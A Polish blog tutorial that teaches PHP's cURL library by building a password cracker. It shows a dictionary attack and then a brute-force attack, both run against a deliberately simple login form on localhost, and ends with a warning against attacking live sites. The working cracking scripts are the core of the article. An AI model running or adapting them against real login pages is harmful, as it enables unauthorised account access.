W dzisiejszym przewodniku napiszemy łamacz haseł w PHP w celach czysto edukacyjnych. Chciałbym przybliżyć bibliotekę cURL, która umożliwia wykonywanie żądań sieciowych. Łamacz haseł to po prostu ciekawy przypadek jej użycia. Skrypt PHP jaki stworzymy będzie mógł dokonać ataku słownikowego i brute force.
Na początku musimy stworzyć stronę, którą będziemy atakować. Prosty formularz z polem na hasło bądź dwoma polami login i hasło:
<form method="POST"> <input type="text" name="login"> <input type="password" name="password"> <input type="submit" value="wyślij"> </form>
W logice sprawdzamy czy podano wartości do pól i czy są poprawne. To skrypt uproszczony do granic możliwości. Jeżeli chcesz stworzyć prawdziwy skrypt logowania w PHP sprawdź osobny artykuł jak stworzyć logowanie i rejestrację w PHP i MySQL z haszowaniem haseł.
<?php if(isset($_POST["login"]) && isset($_POST["password"])){ if ($_POST["password"] == "qwe" && $_POST["login"] == "admin"){ echo "Hasło poprawne"; } else{ echo "Błąd logowania"; } }
Teraz możemy się zabierać za stworzenie programu który będzie łamał hasło. Dla uproszczenia przykładu załóżmy, że znamy login administratora jest nim „admin”.
Łamanie haseł PHP – metoda słownikowa
Na początek stwórzmy słownikowy łamacz haseł. W zmiennej $passwords mamy przykładowe hasła. W praktycznych scenariuszach hakerskich łamacz haseł wczytuje plik TXT. Możemy przerobić nasz kod aby czytał takie pliki. Wtedy za pomocą funkcji file_get_contents() i explode() tworzymy sobie podobną tablicę z hasłami.
$username = "admin"; $url = "http://localhost/php/login.php"; $error_info = "Błąd logowania"; $passwords = ["q", "qw", "qwe", "qwer", "qwert", "qwerty"]; $i = 0; foreach ($passwords as $password){ $i++; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch, CURLOPT_POSTFIELDS, "login=admin&password=".$password); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $response = curl_exec($ch); curl_close ($ch); if(strpos($response, $error_info) !== false){ continue; } else{ echo "Hasło to: ".$password." "; echo "Wykonano ".$i." prób"; break; } }
Do komunikacji ze stroną na którą się włamujemy użyjemy oczywiście biblioteki cURL. Jest to wręcz tutorialowy przykład pobierania odpowiedzi z zewnętrznego adresu URL. To co zasługuje na uwagę to linia z CURLOPT_POSTFIELDS, która zawiera wartości pól POST – to tak jakby udaje wpisywanie loginu i hasła w formularz.
W zmiennej $response mamy to co byśmy widzieli z perspektywy przeglądarki po wysłaniu formularza z danymi logowania. Za pomocą znanej nam już instrukcji strpos() sprawdzamy czy w odpowiedzi mamy ciąg „Błąd hasła”. Możemy też odczytywać same nagłówki – tak jak robiliśmy to w przypadku hakowania znanego systemu CMS 🙂
Instrukcje, które pierwszy raz pojawiają się na tym blogu to continue i break. Ta pierwsza przerywa wykonywanie kodu w pętli i wykonuje ponowną iterację a ta druga całkowicie przerywa działanie pętli. Zobaczmy jak działa nasz łamacz haseł:

Nie mogło być inaczej. Teraz zróbmy przeróbkę kodu aby zamienić nasz słownikowy łamacz haseł na nieco bardziej uniwersalny brute-force.
Łamanie hasła PHP – metoda brute-force
W metodzie brute-force – jak sama nazwa wskazuje – testujemy wszystkie możliwe ciągi znaków. Dla celów tutorialu załóżmy, że hasło będzie zawierało same litery. Musimy stworzyć funkcję, która będzie szybko generowała kolejne ciągi znaków aby wyczerpać wszystkie możliwe kombinacje alfabetu.
Kolejne litery z alfabetu można uzyskać za pomocą inkrementacji wartości, która będzie przekazywana do instrukcji chr(), która zamienia kod liczbowy ASCII na konkretny znak. Za pomocą działania modulo, będziemy otrzymywali kolejne ciągi. Algorytm wygląda tak jakbyśmy konwertowali liczby z systemu dziesiętnego na system dwudziestoszóstkowy 🙂 Dodajmy do wygenerowanych liczb wartość $start aby z wartości 1 otrzymać „a” z 2 otrzymać „b” a z 28 otrzymać „ab”.
Funkcja, która z kolejnych wartości licznika będzie generowała pożądane ciągi znaków u mnie wygląda tak:
function get_characters($iteration){ $dec = $iteration; $start = 96; //mała litera a $stop = 123; //mała litera z $characters = array(); while($dec>=1){ $characters[] = chr(($dec%27)+$start); $dec = $dec / 27; } $characters = array_reverse($characters); return implode($characters); }
Pętlę foreach zmienimy na pętlę for dając jakąś racjonalną wartość graniczną. Skoro uzywamy wytrychu break / continue na upartego mogłaby to być nieskończona pętlą while(true):
for ($i=1; $i<100000; $i++){ $password = get_characters($i); ... }
Cała reszta pozostaje bez zmian. Sprawdźmy czy nasz password-breaker.php złamał hasło:

Trwało to ponad 4 i pół minuty ale działa…
Czas mierzymy za pomocą poznanej nam już instrukcji
$t_start = microtime(true); /* Reszta skryptu */ $t_koniec = microtime(true); $t_calkowite = ($t_koniec - $t_start); echo "<h3>Czas: ".$t_calkowite."<h3>";
Jak zabezpieczyć aplikację przed atakami-brute force?
Ataki brute-force są niemożliwe do całkowitego zablokowania. Istnieje wiele metod na utrudnienie złamania hasła w taki sposób i poświęciłem temu zagadnieniu osobny wpis: Jak zabezpieczyć stronę przed atakami siłowymi brute-force?. Możesz tam znaleźć zalety i wady każdej z metod oraz inne ciekawostki jak takie zabezpieczenia są obchodzone.
Podsumowanie
Łamanie standardowego formularza z loginem i hasłem w PHP to zaledwie kilka linijek kodu. To wszystko było możliwe dzięki bibliotece cURL która umożliwia wysyłać żądania HTTP z wieloma opcjami. W tym artykule pokazałem jak umieścić wartości dla pól POST. Warto poznać cURL bo narzędzie to ma wiele zastosowań w diagnostyce serwerów, programowaniu czy także w hakowaniu.
Pamiętaj aby takich skryptów nie uruchamiać przeciwko istniejącym serwisom online. Sama próba złamania hasła nawet bez ostatecznego jego uzyskania mogą być podstawą do zablokowania twojego serwera lub nawet pociągnięcia cię do odpowiedzialności karnej. Atakowanie nawet własnych stron postawionych na komercyjnych hostingach jest zabronione przez regulaminy dostawców.
Odpowiedz lub skomentuj